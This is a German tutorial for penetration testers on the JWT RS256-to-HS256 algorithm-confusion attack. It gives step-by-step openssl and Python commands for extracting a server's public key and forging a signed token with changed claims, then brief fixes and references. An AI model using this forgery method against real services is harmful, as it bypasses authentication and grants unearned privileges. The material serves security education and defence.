Nur für Bildungszwecke! Bestimmt für
Hacker Penetrationstester.
Problem
Der Algorithmus HS256 verwendet den geheimen Schlüssel, um jede Nachricht zu signieren und zu verifizieren. Der Algorithmus RS256 verwendet den privaten Schlüssel zum Signieren der Nachricht und den öffentlichen Schlüssel zur Authentifizierung.
Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu überprüfen. Asymmetrischer Verschlüsselungsalgorithmus => Symmetrischer Verschlüsselungsalgorithmus.
Da der öffentliche Schlüssel manchmal vom Angreifer abgerufen werden kann, kann der Angreifer den Algorithmus im Header auf HS256 ändern und dann den öffentlichen RSA-Schlüssel zum Signieren der Daten verwenden.
Der Backend-Code verwendet den RSA-Algorithmus für öffentlichen Schlüssel + HS256 zur Überprüfung der Signatur.
Beispiel
Die Sicherheitsanfälligkeit tritt auf, wenn die clientseitige Validierung folgendermaßen aussieht:
const decoded = jwt.verify( token, publickRSAKey, { algorithms: ['HS256' , 'RS256'] } //accepted both algorithms )
Nehmen wir an, wir haben ein anfängliches Token wie unten dargestellt und "=>" erklärt die Änderung, die der Angreifer vornehmen kann:
//header { alg: 'RS256' => 'HS256' } //payload { sub: '123', name: 'Oleh Khomiak', admin: 'false' => 'true' }
Der Backend-Code verwendet den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus, um die Signatur zu überprüfen.
Angriff
1. Erfassen Sie den Datenverkehr und das gültige JWT-Token (Beispiel einer NCC-Gruppe).
eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3NzI5NzgyLCJkYXRhIjp7ImhlbGxvIjoid29ybGQifX0.gTlIh_sPPTh24OApA_w0ZZaiIrMsnl39-B8iFQ-Y9UIxybyFAO3m4rUdR8HUqJayk067SWMrMQ6kOnptcnrJl3w0SmRnQsweeVY4F0kudb_vrGmarAXHLrC6jFRfhOUebL0_uK4RUcajdrF9EQv1cc8DV2LplAuLdAkMU-TdICgAwi3JSrkafrqpFblWJiCiaacXMaz38npNqnN0l3-GqNLqJH4RLfNCWWPAx0w7bMdjv52CbhZUz3yIeUiw9nG2n80nicySLsT1TuA4-B04ngRY0-QLorKdu2MJ1qZz_3yV6at2IIbbtXpBmhtbCxUhVZHoJS2K1qkjeWpjT3h-bg
2. Token mit Burp Decoder dekodieren
Die Struktur lautet header.payload.signature, wobei jede Komponente base64-codiert ist, wobei das URL-sichere Schema verwendet wird und alle Auffüllungen entfernt werden.
{"typ":"JWT","alg":"RS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547729782,"data":{"hello":"world"}}
3. Ändern Sie den Header
alg in HS256
{"typ":"JWT","alg":"HS256"}.{"iss":"http:\\/\\/demo.sjoerdlangkemper.nl\\/","iat":1547729662,"exp":1547799999,"data":{"NCC":"test"}}
4. Konvertieren Sie zurück in das JWT-Format
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0
Header und Nutzlast bereit zu gehen :)
5. Kopieren Sie das Serverzertifikat und extrahieren Sie den öffentlichen Schlüssel
Alles was fehlt ist die Signatur und um zu berechnen, dass wir den öffentlichen Schlüssel benötigen, den der Server verwendet. Es könnte sein, dass dies frei verfügbar ist.
openssl s_client -connect <hostname>:443
Kopieren Sie die Ausgabe des "Serverzertifikats" in eine Datei (z. B. cert.pem) und extrahieren Sie den öffentlichen Schlüssel (in eine Datei namens key.pem), indem Sie Folgendes ausführen:
openssl x509 -in cert.pem -pubkey –noout > key.pem
Lassen Sie es uns in ASCII hex verwandeln:
cat key.pem | xxd -p | tr -d "\\n"
Indem wir den öffentlichen Schlüssel als ASCII-Hex für unsere Signaturoperation angeben, können wir die Bytes sehen und vollständig steuern
echo -n "eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0" | openssl dgst -sha256 -mac HMAC -macopt hexkey:
Die Ausgabe - dh die HMAC-Signatur - lautet:
db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f
Ein Einzeiler, um diese ASCII-Hex-Signatur in das JWT-Format umzuwandeln, ist:
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('db3a1b760eec81e029704691f6780c4d1653d5d91688c24e59891e97342ee59f')).replace('=','')\")"
Die Ausgabe ist unsere Signatur:
2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
Fügen Sie es einfach unserem modifizierten Token hinzu:
eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwOlwvXC9kZW1vLnNqb2VyZGxhbmdrZW1wZXIubmxcLyIsImlhdCI6MTU0NzcyOTY2MiwiZXhwIjoxNTQ3Nzk5OTk5LCJkYXRhIjp7Ik5DQyI6InRlc3QifX0.2zobdg7sgeApcEaR9ngMTRZT1dkWiMJOWYkelzQu5Z8
6. Senden Sie das geänderte Token an den Server.
Auflösung
1. Verwenden Sie nur einen Verschlüsselungsalgorithmus (falls möglich)

2. Erstellen Sie verschiedene Funktionen, um verschiedene Algorithmen zu überprüfen

Referenzen
1.
medium.com/101-writeups/hacking-json-web-token-jwt-233fe6c862e62.
www.youtube.com/watch?v=rCkDE2me_qk (24:53)
3.auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries4. www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2019/january/jwt-attack-walk-through